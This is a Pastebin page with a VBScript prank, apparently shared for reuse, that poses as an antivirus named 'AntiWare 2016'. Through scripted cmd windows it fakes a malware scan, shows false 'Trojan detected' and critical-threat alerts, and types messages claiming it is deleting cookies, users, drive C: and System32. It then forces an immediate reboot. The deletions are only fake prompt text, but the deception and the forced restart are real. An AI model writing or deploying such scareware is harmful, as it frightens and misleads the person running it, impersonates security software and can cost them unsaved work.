API tools faq
paste
Advertisement
HTML

1f3La.vbs

HTML
Mar 11th, 2017
125
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 8.20 KB | None | 0 0
raw download clone embed print report
  1. Set WshShell = WScript.CreateObject("WScript.Shell")
  2. Set objShell = CreateObject("Shell.Application")
  3.  
  4. msgbox "Choose a folder to start the virus scan in",0+64,"AntiWare 2016"
  5.  
  6. Set objFolder = objShell.BrowseForFolder(0, "Choose a folder", 1, "c:\Programs")
  7. If objFolder Is Nothing Then
  8.     Wscript.Quit
  9. End If
  10.  
  11. strName = wshShell.ExpandEnvironmentStrings( "%USERNAME%" )
  12. strPath = ("You selected folder: " & objFolder.title)
  13. strDetected=("Potential Trojan detected in : " & objFolder.self.path & " !")
  14. strMessage = "Are you sure you wish to permanently delete this directory and all its files and subfolders " & objFolder.self.path & "?"
  15.  
  16. m=msgbox(strPath,0+64,"AntiWare 2016")
  17. WshShell.Run "cmd"
  18. WScript.sleep 500
  19. wshshell.sendkeys "cd"
  20. wshshell.sendkeys " "
  21. wshshell.sendkeys objFolder.self.path
  22. WScript.sleep 100
  23. wshshell.sendkeys "{ENTER}"
  24. WScript.sleep 100
  25. wshshell.sendkeys "dir"
  26. WScript.sleep 100
  27. wshshell.sendkeys "{ENTER}"
  28. WScript.sleep 100
  29. wshshell.sendkeys "cls"
  30. WScript.sleep 100
  31. wshshell.sendkeys "{ENTER}"
  32. WScript.sleep 100
  33. wshshell.sendkeys "Scanning for malware..."
  34. WScript.sleep 100
  35. wshshell.sendkeys "{ENTER}"
  36. WScript.sleep 100
  37. wshshell.sendkeys "dir"
  38. WScript.sleep 100
  39. wshshell.sendkeys "{ENTER}"
  40. WScript.sleep 100
  41.  
  42. wshshell.sendkeys "{ENTER}"
  43. WScript.sleep 100
  44. wshshell.sendkeys "dir"
  45. WScript.sleep 100
  46. wshshell.sendkeys "{ENTER}"
  47. WScript.sleep 1000
  48. wshshell.sendkeys "tree"
  49. WScript.sleep 100
  50. wshshell.sendkeys "{ENTER}"
  51. WScript.sleep 100
  52. wshshell.sendkeys "exit"
  53. WScript.sleep 100
  54. wshshell.sendkeys "{ENTER}"
  55. WScript.sleep 100
  56.  
  57. m=msgbox(strDetected,0+16,"AntiWare 2016")
  58. x=MsgBox(strMessage, vbOKOnly + 1+32, "AntiWare 2016")
  59.  
  60. m=msgbox("Critical: Unable to stop script!" ,0+16, "Virus found by AntiWare 2016")
  61. m=msgbox("Do you wish to retry?",4+32,"Virus found by AntiWare 2016")
  62. m=msgbox("Critical: Your system is severely affected by multiple threats. To abort all processes, press 'Abort'. To Scan again, press 'Retry'. To continue all processes, click 'Ignore'." ,2+16, "Virus found by AntiWare 2016")
  63.  
  64. WshShell.Run "cmd"
  65. WScript.sleep 100
  66. wshshell.sendkeys "color 04"
  67. wshshell.sendkeys "{ENTER}"
  68. WScript.sleep 100
  69. wshshell.sendkeys "cls"
  70. WScript.sleep 200
  71. wshshell.sendkeys "{ENTER}"
  72. WScript.sleep 200
  73. wshshell.sendkeys "A"
  74. WScript.sleep 200
  75. wshshell.sendkeys "r"
  76. WScript.sleep 200
  77. wshshell.sendkeys "e"
  78. WScript.sleep 200
  79. wshshell.sendkeys " "
  80. WScript.sleep 200
  81. wshshell.sendkeys "y"
  82. WScript.sleep 200
  83. wshshell.sendkeys "o"
  84. WScript.sleep 200
  85. wshshell.sendkeys "u"
  86. WScript.sleep 200
  87. wshshell.sendkeys " "
  88. WScript.sleep 200
  89. wshshell.sendkeys "s"
  90. WScript.sleep 200
  91. wshshell.sendkeys "c"
  92. WScript.sleep 200
  93. wshshell.sendkeys "a"
  94. WScript.sleep 200
  95. wshshell.sendkeys "r"
  96. WScript.sleep 200
  97. wshshell.sendkeys "e"
  98. WScript.sleep 200
  99. wshshell.sendkeys "d"
  100. WScript.sleep 200
  101. wshshell.sendkeys ","
  102. WScript.sleep 200
  103. wshshell.sendkeys " "
  104. WScript.sleep 200
  105. wshshell.sendkeys strName
  106. WScript.sleep 200
  107. wshshell.sendkeys "?"
  108. x=msgbox ("?",4)
  109. wshshell.sendkeys "{ENTER}"
  110. wshshell.sendkeys "cls"
  111. wshshell.sendkeys "{ENTER}"
  112. if x=6 Then
  113. WScript.sleep 200
  114. wshshell.sendkeys "G"
  115. WScript.sleep 200
  116. wshshell.sendkeys "o"
  117. WScript.sleep 200
  118. wshshell.sendkeys "o"
  119. WScript.sleep 200
  120. wshshell.sendkeys "d"
  121. WScript.sleep 200
  122. wshshell.sendkeys ","
  123. WScript.sleep 200
  124. wshshell.sendkeys " "
  125. WScript.sleep 200
  126. wshshell.sendkeys "y"
  127. WScript.sleep 200
  128. wshshell.sendkeys "o"
  129. WScript.sleep 200
  130. wshshell.sendkeys "u"
  131. WScript.sleep 200
  132. wshshell.sendkeys " "
  133. WScript.sleep 200
  134. wshshell.sendkeys "s"
  135. WScript.sleep 200
  136. wshshell.sendkeys "h"
  137. WScript.sleep 200
  138. wshshell.sendkeys "o"
  139. WScript.sleep 200
  140. wshshell.sendkeys "u"
  141. WScript.sleep 200
  142. wshshell.sendkeys "l"
  143. WScript.sleep 200
  144. wshshell.sendkeys "d"
  145. WScript.sleep 200
  146. wshshell.sendkeys " "
  147. WScript.sleep 200
  148. wshshell.sendkeys "b"
  149. WScript.sleep 200
  150. wshshell.sendkeys "e"
  151. WScript.sleep 200
  152. wshshell.sendkeys "."
  153. WScript.sleep 200
  154. wshshell.sendkeys "."
  155. WScript.sleep 200
  156. wshshell.sendkeys "."
  157. wshshell.sendkeys "{ENTER}"
  158. WScript.sleep 100
  159. wshshell.sendkeys "exit"
  160. WScript.sleep 100
  161. wshshell.sendkeys "{ENTER}"
  162. End If
  163.  
  164. if x=7 Then
  165. WScript.sleep 200
  166. wshshell.sendkeys "N"
  167. WScript.sleep 200
  168. wshshell.sendkeys "o"
  169. WScript.sleep 200
  170. wshshell.sendkeys "?"
  171. WScript.sleep 500
  172. wshshell.sendkeys " "
  173. WScript.sleep 200
  174. wshshell.sendkeys "."
  175. WScript.sleep 200
  176. wshshell.sendkeys "."
  177. WScript.sleep 200
  178. wshshell.sendkeys "."
  179. WScript.sleep 200
  180. wshshell.sendkeys "Y"
  181. WScript.sleep 200
  182. wshshell.sendkeys "o"
  183. WScript.sleep 200
  184. wshshell.sendkeys "u"
  185. WScript.sleep 200
  186. wshshell.sendkeys " "
  187. WScript.sleep 200
  188. wshshell.sendkeys "s"
  189. WScript.sleep 200
  190. wshshell.sendkeys "h"
  191. WScript.sleep 200
  192. wshshell.sendkeys "o"
  193. WScript.sleep 200
  194. wshshell.sendkeys "u"
  195. WScript.sleep 200
  196. wshshell.sendkeys "l"
  197. WScript.sleep 200
  198. wshshell.sendkeys "d"
  199. WScript.sleep 200
  200. wshshell.sendkeys " "
  201. WScript.sleep 200
  202. wshshell.sendkeys "b"
  203. WScript.sleep 200
  204. wshshell.sendkeys "e"
  205. WScript.sleep 200
  206. wshshell.sendkeys "."
  207. WScript.sleep 200
  208. wshshell.sendkeys "."
  209. WScript.sleep 400
  210. wshshell.sendkeys "{ENTER}"
  211. WScript.sleep 100
  212. wshshell.sendkeys "exit"
  213. WScript.sleep 100
  214. wshshell.sendkeys "{ENTER}"
  215.  
  216. End If
  217. WshShell.Run "cmd"
  218. WScript.sleep 100
  219. wshshell.sendkeys "color 04"
  220. wshshell.sendkeys "{ENTER}"
  221. WScript.sleep 100
  222. wshshell.sendkeys "cls"
  223. WScript.sleep 100
  224. wshshell.sendkeys "{ENTER}"
  225. WScript.sleep 500
  226. wshshell.sendkeys "dir"
  227. WScript.sleep 100
  228. wshshell.sendkeys "{ENTER}"
  229. WScript.sleep 1000
  230. wshshell.sendkeys "dir"
  231. WScript.sleep 100
  232. wshshell.sendkeys "{ENTER}"
  233. WScript.sleep 2000
  234. wshshell.sendkeys "cls"
  235. WScript.sleep 40
  236. wshshell.sendkeys "{ENTER}"
  237. WScript.sleep 40
  238. wshshell.sendkeys "prompt deleting cookies..."
  239. WScript.sleep 400
  240. wshshell.sendkeys "{ENTER}"
  241. WScript.sleep 1000
  242. wshshell.sendkeys "dir"
  243. WScript.sleep 100
  244. wshshell.sendkeys "{ENTER}"
  245. WScript.sleep 1000
  246. wshshell.sendkeys "cls"
  247. WScript.sleep 40
  248. wshshell.sendkeys "{ENTER}"
  249. WScript.sleep 2000
  250. wshshell.sendkeys "prompt deleting Users..."
  251. WScript.sleep 40
  252. wshshell.sendkeys "{ENTER}"
  253. WScript.sleep 40
  254. wshshell.sendkeys "cls"
  255. WScript.sleep 40
  256. wshshell.sendkeys "{ENTER}"
  257. WScript.sleep 2000
  258.  
  259. wshshell.sendkeys "prompt deleting drive 'C:'..."
  260. WScript.sleep 200
  261. wshshell.sendkeys "{ENTER}"
  262. WScript.sleep 40
  263. wshshell.sendkeys "cls"
  264. WScript.sleep 40
  265. wshshell.sendkeys "{ENTER}"
  266. WScript.sleep 1000
  267. x=msgbox ("Are you sure that you want to permanently delete all directories, files, and subfiles in environment variable: '%ALLDATA%' ? " ,4+32, "C:\")
  268. WScript.sleep 2000
  269. wshshell.sendkeys "prompt deleting system 32..."
  270. WScript.sleep 70
  271. wshshell.sendkeys "{ENTER}"
  272. WScript.sleep 40
  273. wshshell.sendkeys "cls"
  274. WScript.sleep 40
  275. wshshell.sendkeys "{ENTER}"
  276. WScript.sleep 1000
  277. wshshell.sendkeys "101101001011101001101011010101011001100000110110101111010100111010100101011"
  278. WScript.sleep 40
  279. wshshell.sendkeys "{ENTER}"
  280. WScript.sleep 40
  281. wshshell.sendkeys "110100101110100111111001011010101011011010110101110100101011"
  282. WScript.sleep 40
  283. wshshell.sendkeys "{ENTER}"
  284. WScript.sleep 40
  285. wshshell.sendkeys "1011010010111010010111011011001010011111010100111010100101011"
  286. WScript.sleep 40
  287. wshshell.sendkeys "{ENTER}"
  288. WScript.sleep 40
  289. wshshell.sendkeys "10110110111110101010101111101111010100111010100101011"
  290. WScript.sleep 40
  291. wshshell.sendkeys "{ENTER}"
  292. wshshell.sendkeys "1011010010111010011010110101010110011000001101102101111010101110101111100101011"
  293. WScript.sleep 40
  294. wshshell.sendkeys "{ENTER}"
  295. WScript.sleep 40
  296. wshshell.sendkeys "exit"
  297. WScript.sleep 200
  298. wshshell.sendkeys "{ENTER}"
  299. WScript.sleep 4000
  300.  
  301. WshShell.Run "cmd"
  302. WScript.sleep 100
  303. wshshell.sendkeys "color 04"
  304. WScript.sleep 100
  305. wshshell.sendkeys "{ENTER}"
  306. WScript.sleep 100
  307. wshshell.sendkeys "cls"
  308. WScript.sleep 100
  309. wshshell.sendkeys "{ENTER}"
  310. WScript.sleep 200
  311. wshshell.sendkeys "B"
  312. WScript.sleep 200
  313. wshshell.sendkeys "y"
  314. WScript.sleep 200
  315. wshshell.sendkeys "e"
  316. WScript.sleep 200
  317. wshshell.sendkeys "."
  318. WScript.sleep 1000
  319. wshshell.sendkeys "{ENTER}"
  320. WScript.sleep 100
  321. wshshell.sendkeys "cls"
  322. WScript.sleep 100
  323. wshshell.sendkeys "{ENTER}"
  324. WScript.sleep 100
  325. wshshell.sendkeys "exit"
  326. WScript.sleep 200
  327. wshshell.sendkeys "{ENTER}"
  328. WScript.sleep 4000
  329.  
  330. wshshell.run "shutdown.exe -r -t 1"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!